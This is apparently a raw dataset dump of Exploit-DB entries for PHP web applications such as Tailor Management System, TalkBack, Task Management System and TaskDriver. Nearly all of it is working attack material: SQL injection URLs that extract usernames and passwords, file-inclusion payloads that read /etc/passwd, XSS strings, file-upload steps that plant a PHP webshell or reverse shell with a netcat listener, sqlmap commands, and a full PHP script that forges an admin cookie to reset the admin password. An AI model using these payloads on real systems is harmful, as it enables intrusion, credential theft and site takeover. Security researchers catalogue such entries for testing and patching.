deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48797
Description: Tailor Management System - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-09-09
Author: Mosaaed

Exploit:
# Exploit Title: Tailor Management System - 'id' SQL Injection
# Google Dork: N/A
# Date: 2020-09-08
# Exploit Author: mosaaed
# Vendor Homepage: https://www.sourcecodester.com/php/14378/tailor-management-system-php-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14378&title=Tailor+Management+System+in+PHP+MySQL
# Version: v1.0
# Tested on: Kali linux
# CVE: N/A



http://localhost/tailor/addmeasurement.php?id=-1'+union+select+concat(username,0x3a,password),2+from+users-- -
http://localhost/tailor/staffedit.php?id=-1'+union+select+1,2,3,concat(username,0x3a,password),5+from+users-- -
http://localhost/tailor/staffcatedit.php?id=-3'+union+select+concat(username,0x3a,password)+from+users-- -
Exploit-DB #49136
Description: Tailor Management System 1.0 - Unrestricted File Upload to Remote Code Execution
Type: webapps
Platform: php
Date: 2020-12-01
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Tailor Management System 1.0 - Unrestricted File Upload to Remote Code Execution
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-09-18
# Vendor Homepage: https://www.sourcecodester.com/php/14378/tailor-management-system-php-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14378&title=Tailor+Management+System+in+PHP+MySQL
# Affected Version: Version 1
# Category: Web Application
# Tested on: Parrot OS

Step 1: Log in to the CMS with any valid user credentials.
Step 2: Select Measurement Settings and click on "Set Measurement Parts".
Step 3: Create any php payload on locally on your system. ( i used the default php webshell in /usr/share/webshells/php/php-reverse-shell.php)
Step 4: Fill the required details and upload the php payload you created using the image upload field.
Step 5: Select Measurement Settings and click on "View/Edit Measurement Parts".
Step 6: Start netcat listener.
Step 7: Use the search filter to find your measurement and click on "edit" to trigger the php payload.

========================== OR ==========================

Step 1: Embed an image with the code "exiftool -Comment='<?php system($_GET['cmd']); ?>' r0b0t.jpg"
Step 2: Rename the malicious image to have include a ".php" extention. Example ( mv r0b0t.jpg r0b0t.jpg.php )
Step 3: Log in to the CMS with any valid user credentials.
Step 4: Select Measurement Settings and click on "Set Measurement Parts".
Step 5: Fill the required details and upload malicious image you created using the image upload field.
Step 6: Select Measurement Settings and click on "View/Edit Measurement Parts".
Step 7: Use the search filter to find your measurement and click on "edit" to edit details.
Step 8: Righ click on the broken image and copy image location.
Step 9: Paste image location in browser and you will have RCE. ( http://localhost/img/part/r0b0t.jpg.php?cmd=cat /etc/passwd )
Exploit-DB #12629
Description: Tainos - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-05-16
Author: XroGuE

Exploit:
=======================================================
Tainos Multiple Vulnerabilities
=======================================================
########################################
# Name: Tainos Multiple Vulnerabilities
# Vendor: www.tainos-webdesign.com
# Date: 2010/05/16
# Author: Ashiyane Digital Security Team
# Discovered: XroGuE
# Thanks to: Virangar,Ali.Eagle,Satanic2000,Ashiyane Members
# Contact: Xrogue_p3rsi4n_hack3r@Hotmail.com
########################################

########################################
[+] Local File Include Vulnerability:

[+] Vulnerability: www.Site.com/[path]/Page.php?page=[LFI]

[+] Example: http://[site]/index_offer.php?page=../../../../../../../../../../etc/passwd

[+] Example: http://[site]/nederlands/tours.php?page=../../../../../../../../../../etc/passwd

########################################

########################################
[+] SQL Injection Vulnerability:

[+] Vulnerability: /www.site.com/index.php?id=[SQLi]

[+] Example: http://[site]/index.php?id=-9999+union+all+select+1,2,@@version,4,5

########################################
Exploit-DB #12631
Description: Tainos Webdesign (All Scripts) - SQL Injection / Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-05-17
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

Tainos Webdesign (All Scripts) SQL/XSS/HTML Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu@windowslive.com

Script Home: http://www.tainos-webdesign.com

Dork: intext:"© Tainos Webdesign"

-------------------------------------------------------------------------------------------

Sql Injection:

http://localhost/[path]/propertylux.php?ID=1 (SQL)
http://localhost/[path]/property.php?ID=199 (SQL)

-------------------------------------------------------------------------------------------

XSS Injection:

http://localhost/[path]/class.php?Class=Rental&Subclass=
http://localhost/[path]/class.php?Class=Sales&Subclass=
http://localhost/[path]/classlux.php?Class=Luxury&Subclass=
-------------------------------------------------------------------------------------------

HTML Injection:

http://localhost/[path]/class.php?Class=Rental&Subclass=<font color=red size=15>CoBRa_21</font>
http://localhost/[path]/class.php?Class=Sales&Subclass=<font color=red size=15>CoBRa_21</font>
http://localhost/[path]/classlux.php?Class=Luxury&Subclass=<font color=red size=15>CoBRa_21</font>
-------------------------------------------------------------------------------------------
Exploit-DB #41295
Description: Takas Classified 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Takas Classified – Codeigniter PHP Classified Ad Script v1.1 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://artifectx.com/
# Software Buy: https://codecanyon.net/item/takas-classified-codeigniter-php-classified-ad-script/15227824
# Demo: http://takas.artifectx.com/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/classified_ads/ads/?&subcatid=[SQL]
# http://localhost/[PATH]/index.php/classified_ads/ads/?&catid=[SQL]
# http://localhost/[PATH]/index.php/classified_ads/ads/?&locid=[SQL]
# http://localhost/[PATH]/index.php/classified_ads/ads/?&areaid=[SQL]
# http://localhost/[PATH]/index.php/classified_ads/ads/?&type=[SQL]
# http://localhost/[PATH]/index.php/classified_ads/ads/?&post=[SQL]
# Etc... Etc...
# # # # #
Exploit-DB #27947
Description: TAL RateMyPic 1.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-02
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18230/info

TAL RateMyPic is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/index.php?id=<IMG%20SRC=http://www.example.com/somecommand.php?somevariables=maliciouscode>
Exploit-DB #4640
Description: TalkBack 2.2.7 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-11-21
Author: NoGe

Exploit:
==================================================================================================================================

# TalkBack 2.2.7 Remote File Include Vulnerability

    Software      : TalkBack version 2.2.7
    Developer     : http://www.scripts.oldguy.us/talkback
    Discovered by : NoGe
    Contact       : pace[dot]noge[at]hotmail[dot]com
  
==================================================================================================================================


# Vulnerable file
  
    comments-display-tpl.php

    line 35 include $language_file;
    line 172 include $config['comments_form_tpl'];

    addons/separate-comments-mod/my-comments-display-tpl.php

    line 35 include $language_file;



# Exploit

    http://localhost/path/comments-display-tpl.php?language_file=[evilcode]
    http://localhost/path/comments-display-tpl.php?config[comments_form_tpl]=[evilcode]
    http://localhost/path/addons/separate-comments-mod/my-comments-display-tpl.php?language_file=[evilcode]


==================================================================================================================================

# Greetz

    all crew #papuahacker #baliemhackerlink #nyubicrew
    skulmatic olibekas ulga Cungkee nyubi k1tk4t bius SiKodoQ newbie
    yooogy H312Y Vrs-hCk Oon_Boy Paman mousekill }^-^{ Fluzy str0ke
    http://kapukvalley.net member

==================================================================================================================================

# milw0rm.com [2007-11-21]
Exploit-DB #9095
Description: TalkBack 2.3.14 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-07-09
Author: JIKO

Exploit:
JIKO No-exploit.Com
Download:http://scripts.oldguy.us/talkback/downloads2/talkback2.3.14.zip
Script : talkback V 2.3.14
Dork:inurl:test.php Powered by TalkBack
--------------------------------------------
Edit Comment ~[+]
talkback/comments.php?edit=1&edit_id=2&
Command ~[+]
talkback/addons/import.php?result=[Command]
        Code;
        $last_line = system($command, $result);
Local File ~[+]
        Note : if floder install not deleted
http://localhost/test/talkback/install/help.php?language=[File]
    code;
        $file = "../language/{$_REQUEST['language']}.php";
    if (!is_file($file))
        exit("Language file '$file' does not exist");
    include ($file);

# milw0rm.com [2009-07-09]
Exploit-DB #6148
Description: TalkBack 2.3.5 - 'Language' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-28
Author: NoGe

Exploit:
=============================================================================================================

  [o] TalkBack 2.3.5 Local File Inclusion Vulnerability

       Software : TalkBack version 2.3.5
       Vendor   : http://www.scripts.oldguy.us/talkback
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com

=============================================================================================================

  [o] Vulnerable file

       install/help.php

        include "../language/{$_REQUEST['language']}.php";



  [o] Exploit

       http://localhost/[path]/install/help.php?language=[LFI]%00


=============================================================================================================

  [o] Greetz

       supported by irc.nob0dy.net
       skulmatic olibekas ulga Cungkee nyubi k1tk4t str0ke
       H312Y yooogy mousekill }^-^{ martfella
       okegay OoN_Gay pagay (sungguh penyembunyian sebuah karakter dibalik makna kata) /me brb ngakak..  :) 
 
=============================================================================================================

# milw0rm.com [2008-07-28]
Exploit-DB #6451
Description: Talkback 2.3.6 - Multiple Local File Inclusion / PHPInfo Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-13
Author: SirGod

Exploit:
############################################################################################################
[+] Talkback 2.3.6 Multiple Local File Inclusion/PHPInfo Disclosure
[+] Discovered By SirGod 
[+] MorTal TeaM                     
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke                     
############################################################################################################

 [+] Local File Inclusion


   PoC 1 :

     http://[target]/[path]/comments.php?language=[Local File]%00

   Example 1 :
  
     http://127.0.0.1/talkback/comments.php?language=../../../../autoexec.bat%00


   PoC 2 :

     http://[target]/[path]/install/help.php?language=[Local File]%00

   Example 2 :

     http://127.0.0.1/talkback/install/help.php?language=../../../../../autoexec.bat%00



 [+] PHPInfo Disclosure


   PoC:

     http://[target]/[path]/install/info.php

   Example :

     http://127.0.0.1/talkback/install/info.php


##############################################################################################################

# milw0rm.com [2008-09-13]
Exploit-DB #33832
Description: TANDBERG Video Communication Server 4.2.1/4.3.0 - Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-12
Author: Jon Hart

Exploit:
source: https://www.securityfocus.com/bid/39389/info

TANDBERG Video Communication Server is prone to multiple remote vulnerabilities, including:

1. A file-disclosure vulnerability.
2. A security vulnerability that may allow attackers to conduct server impersonation and man-in-middle attacks.
3. An authentication-bypass vulnerability.

An attacker can exploit these issues to gain unauthorized access to the affected device and to gain access to sensitive information. Other attacks are also possible.

Firmware versions prior to TANDBERG Video Communication Server 5.1.1 are vulnerable. 

https://www.example.com/helppage.php?page=../../../../etc/passwd%00
Exploit-DB #32533
Description: Tandis CMS 2.5 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-10-27
Author: G4N0K

Exploit:
source: https://www.securityfocus.com/bid/31930/info

Tandis CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Tandis CMS 2.5.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/index.php?mod=2&nid=-268)%20UNION%20ALL%20SELECT%20version(),0,0,concat(username,0x3a,userpass),0,0,0,0,0,0,0,0,0%20FROM%20default_users

http://www.example.com/[path]/index.php?mod=0&cpage=-114) UNION ALL SELECT 0,0,0,0,0,version()--
Exploit-DB #27075
Description: TankLogger 2.4 General Functions Script - SQL Injection
Type: webapps
Platform: php
Date: 2006-01-12
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16228/info

TankLogger is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/exp/tanklogger/showInfo.php? livestock_id=99'% 20union%20select% 201,2,3,4,5, 6,7,8,9/*
Exploit-DB #49222
Description: Task Management System 1.0 - 'First Name and Last Name' Stored XSS
Type: webapps
Platform: php
Date: 2020-12-09
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Task Management System 1.0 - 'First Name and Last Name' Stored XSS
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-08
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14615&title=Task+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: Parrot OS

Step 1: Log in to the CMS with any valid user credentials.
Step 2: Click on the logged in username on header and select Manage Account.
Step 3: Rename the user First Name or Last Name to "
<script>alert(document.domain)</script> ".
Step 4: Update Profile and this will trigger the XSS.
Step 5: Logout and login again and the page will display the domain name.
Exploit-DB #49224
Description: Task Management System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-12-09
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Task Management System 1.0 - 'id' SQL Injection
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-08
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14615&title=Task+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: Parrot OS

Step 1. Log into application with credentials
Step 2. Click on Projects
Step 3. Select View Projects
Step 4. Choose any project, click on action and select view
Step 5. Capture the request of the "page=view_project&id=" page in burpsute
Step 6. Save request and run sqlmap on request file using command " sqlmap -r request -p id --time-sec=5 --dbs "
Step 7. This will inject successfully and you will have an information disclosure of all databases contents

---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=view_project&id=3 AND 5169=5169

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=view_project&id=3 AND (SELECT 3991 FROM (SELECT(SLEEP(5)))NOXH)

Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: page=view_project&id=-2597 UNION ALL SELECT NULL,NULL,CONCAT(0x717a627a71,0x5a[PII_REDACTED]5a6e654b6a454d[PII_REDACTED]6a466f41436c[PII_REDACTED]424b534a4f4c4e52775a45,0x[PII_REDACTED]),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
Exploit-DB #49258
Description: Task Management System 1.0 - 'page' Local File Inclusion
Type: webapps
Platform: php
Date: 2020-12-15
Author: İsmail BOZKURT

Exploit:
# Exploit Title: Task Management System 1.0 - 'page' Local File Inclusion
# Exploit Author: İsmail BOZKURT
# Date: 2020-12-15
# Vendor Homepage: https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14615&title=Task+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: Windows 10 x86_64

Step 1. Log into application with credentials
Step 2. Click on Branch
Step 3. Select New Branch http://127.0.0.1/index.php?page=index
Step 4. change index to ../../../c:/xampp/apache/bin/php.ini%00

Note: php version < 5.3.3

section class="content">
    <div class="container-fluid">
    <?php 
    	$page = isset($_GET['page']) ? $_GET['page'] : 'home';
	    if(!file_exists($page.".php")){
	    include '404.html';
	    }else{
	    include $page.'.php';
    }
    ?>
Exploit-DB #49223
Description: Task Management System 1.0 - Unrestricted File Upload to Remote Code Execution
Type: webapps
Platform: php
Date: 2020-12-09
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Task Management System 1.0 - Unrestricted File Upload to Remote Code Execution
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-08
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14615&title=Task+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: Parrot OS


Step 1: Log in to the CMS with any valid user credentials.
Step 2: Click on the logged in username on header and select Manage Account.
Step 3: Upload a php payload ( i used the default php webshell in
/usr/share/webshells/php/php-reverse-shell.php) or a jpeg image embeded
with a php payload. ("exiftool -Comment='<?php system($_GET['cmd']); ?>'
r0b0t.jpg") Then update profile.
Step 4: Click on username on header again and select Manage Account.
Step 5: Right click on the uploaded php payload or embeded image located
under the "choose avatar form" then copy image location.
Step 6: Start nc listener and paste the url in browser. This will trigger
the remote code execution if you used a php shell.  (
http://localhost/assets/uploads/[PII_REDACTED]_shell.php )
Exploit-DB #43914
Description: Task Rabbit Clone 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-01-28
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Task Rabbit Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://migrateshop.com/
# Software Link: http://migrateshop.com/product/task-rabbit-clone-php-script/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/pages/single_blog.php?id=[SQL]
# 
# %31%20%20%2f%2a%21%31%33%33%33%37%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%31%33%33%33%37%53%45%4c%45%43%54%2a%2f%20%31%2c%76%65%72%73%69%6f%6e%28%29%2c%33%2c%34%2c%35%2c%36%2d%2d%20%2d
# 
# # # # #
Exploit-DB #7605
Description: TaskDriver 1.3 - Remote Change Admin Password
Type: webapps
Platform: php
Date: 2008-12-29
Author: cOndemned

Exploit:
<?php

/*
	$Id: taskdriver-1.3.php,v 0.1 2008/12/03 04:04:28 cOndemned Exp $

	TaskDriver <= 1.3 Remote Change Admin Password Exploit
	Bug found && Exploited by cOndemned
	
	Download:
	
		http://www.taskdriver.com/downtrack/index.php?down=2
	
	
	Description:
	
		This exploit uses insecure cookie handling flaw in order
		to compromisse the system. In the begining its almost like
		the one that Silentz wrote for version 1.2 but not exactly.
		
		Actually there is no need to use sql injection for gaining
		admin password (hash). We can just set cookie value to :
		
			"auth=fook!admin"
			
		access profileedit.php and change his password for whatever
		we want to x]
		
		Next IMO nice thing is that it works both with magic quotes
		on and off :P
	
	-------------------------------------------------------------------
	
	Greetz:
	
		ZaBeaTy, Avantura, l5x, str0ke, d2, sid.psycho & TWT, 0in,
		doctor, Gynvael Coldwind ...
		
		http://www.youtube.com/watch?v=f7O6ekKOE9g
		
*/

	echo "\n[~] TaskDriver <= 1.3 Remote Change Admin Password Exploit";
	echo "\n[~] Bug found && Exploited by cOndemned\n";

	if($argc != 3)
	{
		printf("[!] Usage: php %s <target> <new-password>\n\n", $argv[0]);
		exit;
	}

	list($script, $target, $pass) = $argv;

	$xpl = curl_init();

	curl_setopt_array($xpl, array
		(	
			CURLOPT_URL		=> "{$target}/profileedit.php",
			CURLOPT_COOKIE		=> "auth=fook!admin",
			CURLOPT_RETURNTRANSFER	=> true, 
			CURLOPT_POST		=> true,
			CURLOPT_POSTFIELDS	=> "password={$pass}"	
		));
	
	$ret = curl_exec($xpl);
	curl_close($xpl);
	
	$out = preg_match_all('#<b>Profile Updated<\/b>#', $ret, $tmp) ? "[+] Done. You can login now\n\n" : "[-] Exploitation failed\n\n";
	
	echo $out;

?>

# milw0rm.com [2008-12-29]